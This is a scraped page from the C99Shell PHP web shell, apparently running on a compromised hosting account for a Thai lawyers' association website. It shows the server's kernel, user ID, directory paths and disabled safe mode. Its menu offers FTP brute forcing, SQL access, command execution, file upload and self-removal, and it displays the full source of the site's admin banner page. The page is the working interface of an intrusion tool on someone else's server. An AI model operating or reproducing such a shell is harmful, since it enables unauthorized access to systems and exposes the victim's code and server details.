!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mophlawyer.com/admin/module/banner/   drwxr-xr-x
Free 238.42 GB of 981.82 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (12.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
ob_start
();
session_start();
require_once (
'includes/db.php');
require_once (
'includes/f_thaidate.php');
if(!
$_SESSION['fullname']){
    
header("location: index.php");
    
}
?>
<!DOCTYPE html>
<html>
  <head>
    <title>Admin Dashboard : Automation Software</title>
    <meta charset="utf-8">
    <meta content="ie=edge" http-equiv="x-ua-compatible">
    <meta content="template language" name="keywords">
    <meta content="Autosoft" name="author">
    <meta content="Admin dashboard Autosoft" name="description">
    <meta content="width=device-width, initial-scale=1" name="viewport">
    <link href="img/favicon_autosoft.png" rel="shortcut icon">
    <link href="https://fonts.googleapis.com/css?family=Prompt:300,400,600,700,800%7CShadows+Into+Light%7CPlayfair+Display:400" rel="stylesheet" type="text/css">
    
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css" integrity="sha384-GJzZqFGwb1QTTN6wy59ffF1BuGJpLSa9DkKMp0DgiMDm4iYMj70gZWKYbI706tWS" crossorigin="anonymous">
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.6.3/css/all.css" integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/" crossorigin="anonymous">
      <link rel="stylesheet" href="https://code.jquery.com/ui/1.12.0/themes/smoothness/jquery-ui.css" type="text/css">
    <link href="css/main.css?version=4.4.0" rel="stylesheet">

    <link href="bower_components/select2/dist/css/select2.min.css" rel="stylesheet">
    <link href="bower_components/bootstrap-daterangepicker/daterangepicker.css" rel="stylesheet">
    <link href="bower_components/dropzone/dist/dropzone.css" rel="stylesheet">
    <link href="bower_components/datatables.net-bs/css/dataTables.bootstrap.min.css" rel="stylesheet">
    <link href="bower_components/fullcalendar/dist/fullcalendar.min.css" rel="stylesheet">
    <link href="bower_components/perfect-scrollbar/css/perfect-scrollbar.min.css" rel="stylesheet">
    <link href="bower_components/slick-carousel/slick/slick.css" rel="stylesheet">
    

  <style>
            .table .ui-sortable-helper{background:#FFF; box-shadow:0px 0px 5px #000000; width:100%;}
        </style>
  </head>
  <body class="menu-position-side menu-side-left full-screen">
  <div class="all-wrapper solid-bg-all">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>

  <div>
      
    <div class="layout-w">
      <!--------------------
        START - Mobile Menu
        -------------------->
      <?php //include ('includes/mobile_menu.php'); ?>
        <!--------------------
        START - Main Menu
        -------------------->
        <?php include ('includes/main_menu.php'); ?>
        <!--------------------
        END - Main Menu
        -------------------->
        <div class="content-w">
          <!--------------------
          START - Top Bar
          -------------------->
          
          <?php include('includes/top_setting.php'); ?>
          <!--------------------
          END - Top Bar
          -------------------->
          <div class="content-i">
            <div class="content-box">
              
              
              <div class="row pt-12">

                <div class="col-sm-12 col-xxxl-12">
                  <div class="element-wrapper">
                      <div class="element-actions">
                          <a class="btn btn-success btn-md" href="banner_form.php"><i class="os-icon os-icon-ui-22 os-icon-md"></i><span>Add Banner</span></a>
                      </div>
                            <h4 class="element-header">
                              Banner : สมาคมนักกฏหมายสาธารณสุข
                            </h4>
                            <script>
                                $(document).ready(function(e) {
                                  $('#sortable tbody').sortable({
                                    handle: 'i.fa-arrows-alt',
                                    placeholder: "ui-state-highlight",
                                    //opacity: 0.9,
                                    update : function () { 
                                      var order        =    $('#sortable tbody').sortable('toArray', { attribute: 'data-sort-id'}); 
                                      console.log(order.join(','));
                                      sortOrder    =    order.join(',');
                                      $.post(
                                        'action-form.ajax.php',
                                        {'action':'updateSortedRows','sortOrder':sortOrder,'tables':'tbl_banner'},
                                        
                                        function(data){
                                      
                                          var a    =    data.split('|***|');
                                          if(a[1]=="update"){
                                            $('#msg').html(a[0]);
                                          }
                                        }
                                      );
                                    } 
                                  });
                                  $( "#sortable" ).disableSelection();
                                  
                                  $('[data-toggle="tooltip"]').tooltip();
                                });
                              </script>
                              <div class="element-box">
                      <div class="table-responsive">

    <div id="msg"></div>
        <form id="form" method="post">
            <input type="hidden" name="action" value="saveAddMore">
            <table class="table table-lightborder" id="sortable">
                <thead>
                    <tr>
                    <th class="text-center"  width="20"> <H6>Sequence</H6></th>
            
            <th width="180"> <H6>Banner</H6></th>

                        <th class="text-center" width="400" > <H6></H6></th>
                        <th class="text-center" width="180"><H6>Date</H6></th>
            <th class="text-center"> <H6>Action</H6></th>
                    </tr>
                </thead>
                <tbody id="tb">
                    <?php 
         
                    $result    
=    $conn->prepare("SELECT * FROM tbl_banner WHERE 1 ORDER BY pin ASC ");
          
$result->execute();
          
                    if(
$result->rowCount()>0){
                        while(
$val  =   $result->fetch())
            {  
           
$id =$val['id'];
              
?>
                        <tr data-sort-id="<?php echo $val['id'];?>">
                            <td align="center"><i class="fa fa-fw fa-arrows-alt" data-toggle="tooltip" title="Drag Up or Down"></i></td>
             
              <td>
                <div class="cell-image-list" >
                  <img src="uploads/<?php echo $val['image_banner']; ?>"  width="180">
                </div>
              </td>

              <td class="text-left">
                <H6 class="lead"> <?php echo $val['titlename']; ?></H6>
              </td>

              <td class="text-center">
                <?php echo DateThai($val['creat_date']); ?>
              </td>

              <td class="row-actions"> 
              <div data-toggle="tooltip">
                                <a href="banner_form_edit.php?r_id=<?php echo $id?>"><i class="os-icon os-icon-ui-49 text-success" data-title="Edit" data-toggle="tooltip"></i></a><a href="#onboardingFeaturesModal<?php echo $val['id']; ?>" data-toggle="modal"><i class="os-icon os-icon-grid-10" data-title="Info" data-toggle="tooltip"></i></a><a class="danger" href="#DeleteBanner<?php echo $val['id']; ?>" data-toggle="modal"><i class="os-icon os-icon-ui-15" data-title="Delete" data-toggle="tooltip"></i></a>
           
                                <!-- Start Modal   -->
                             <form  method="post" action="delete_banner.php?banner_id=<?php echo $id?>" enctype="multipart/form-data">
                                <div aria-hidden="true" aria-labelledby="exampleModalLabel" class="modal fade" id="DeleteBanner<?php echo $val['id']; ?>" role="dialog" tabindex="-1">
                                  <div class="modal-dialog" role="document">
                                    <div class="modal-content">
                                      <div class="modal-header">
                                        <h5 class="modal-title" id="exampleModalLabel">
                                          ยืนยันการลบข้อมูล
                                        </h5>
                                        <button aria-label="Close" class="close" data-dismiss="modal" type="button"><span aria-hidden="true"> &times;</span></button>
                                      </div>
                                      <div class="modal-body">
                                     
                                      <div class="onboarding-media">
                                        <img alt="" src="img/bigcancel.png" width="200px">
                                      </div>
                                      <div class="onboarding-content with-gradient">
                                        <h4 class="onboarding-title">
                                          Are you Sure ?
                                        </h4>
                                      </div>
                                     
                              
                                      </div>
                                      <div class="modal-footer">
                                        <button class="btn btn-secondary" data-dismiss="modal" type="button"> Close</button><input class="btn btn-danger" type="submit" name="submitform" value="ลบข้อมูล"  />
                                      </div>
                                    </div>
                                  </div>
                                </div>
                              </form>
                                <!-- End Modal -->

                             
                                <div aria-hidden="true" class="onboarding-modal modal fade animated" id="onboardingFeaturesModal<?php echo $id?>" role="dialog" tabindex="-1">
                                  <div class="modal-dialog modal-centered" role="document">
                                    <div class="modal-content text-center">
                                      <button aria-label="Close" class="close" data-dismiss="modal" type="button"><span class="close-label">close</span><span class="os-icon os-icon-close"></span></button>
                                      <br><br>
                                      <div class="onboarding-media">
                                        <img alt="" src="uploads/<?php echo $val['image_banner']; ?>" width="400px">
                                      </div>
                                      <div class="onboarding-content ">
                                        <h4 class="onboarding-title">
                                          <?php echo $val['titlename']; ?>
                                        </h4>
                                        
                                      </div>
                                    </div>
                                  </div>
                                </div>
                              
              </td>
              
                        </tr>

                        <?php
                        
}
                    }else{ 
?>
                    <tr>
                        <td colspan="6" class="bg-light text-center"><strong>No Record(s) Found!</strong></td>
                    </tr>
                    <?php ?>
          
                </tbody>
      
            </table>
      <hr> 
        </form>
                            





                  </div>
                </div>
              </div>

              </div>
            </div>
          </div>
        </div>
          </div>
               
    <script src="https://code.jquery.com/ui/1.12.0/jquery-ui.min.js" integrity="sha256-eGE6blurk5sHj+rmkfsGYeKyZx3M4bG+ZlFyA7Kns7E=" crossorigin="anonymous"></script>
      <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.6/umd/popper.min.js" integrity="sha384-wHAiFfRlMFy6i5SRaxvfOCifBUQy1xHdJ/yoi7FRNXMRBu5WHdZYu1hA6ZOblgut" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/js/bootstrap.min.js" integrity="sha384-B0UglyR+jN6CkvvICOB2joaf5I4l3gm9GU6Hc1og6Ls7i6U/mkkaduKaBhlAXv9k" crossorigin="anonymous"></script>



    <script src="bower_components/bootstrap/js/dist/util.js"></script>
    <script src="bower_components/bootstrap/js/dist/alert.js"></script>
    <script src="bower_components/bootstrap/js/dist/button.js"></script>
    <script src="bower_components/bootstrap/js/dist/carousel.js"></script>
    <script src="bower_components/bootstrap/js/dist/collapse.js"></script>
    <script src="bower_components/bootstrap/js/dist/dropdown.js"></script>
    <script src="bower_components/bootstrap/js/dist/modal.js"></script>
    <script src="bower_components/bootstrap/js/dist/tab.js"></script>
    <script src="bower_components/bootstrap/js/dist/tooltip.js"></script>
    <script src="bower_components/bootstrap/js/dist/popover.js"></script>
    <script src="js/demo_customizer.js?version=4.4.0"></script>
    <script src="js/main.js?version=4.4.0"></script>


    
    
  </body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0185 ]--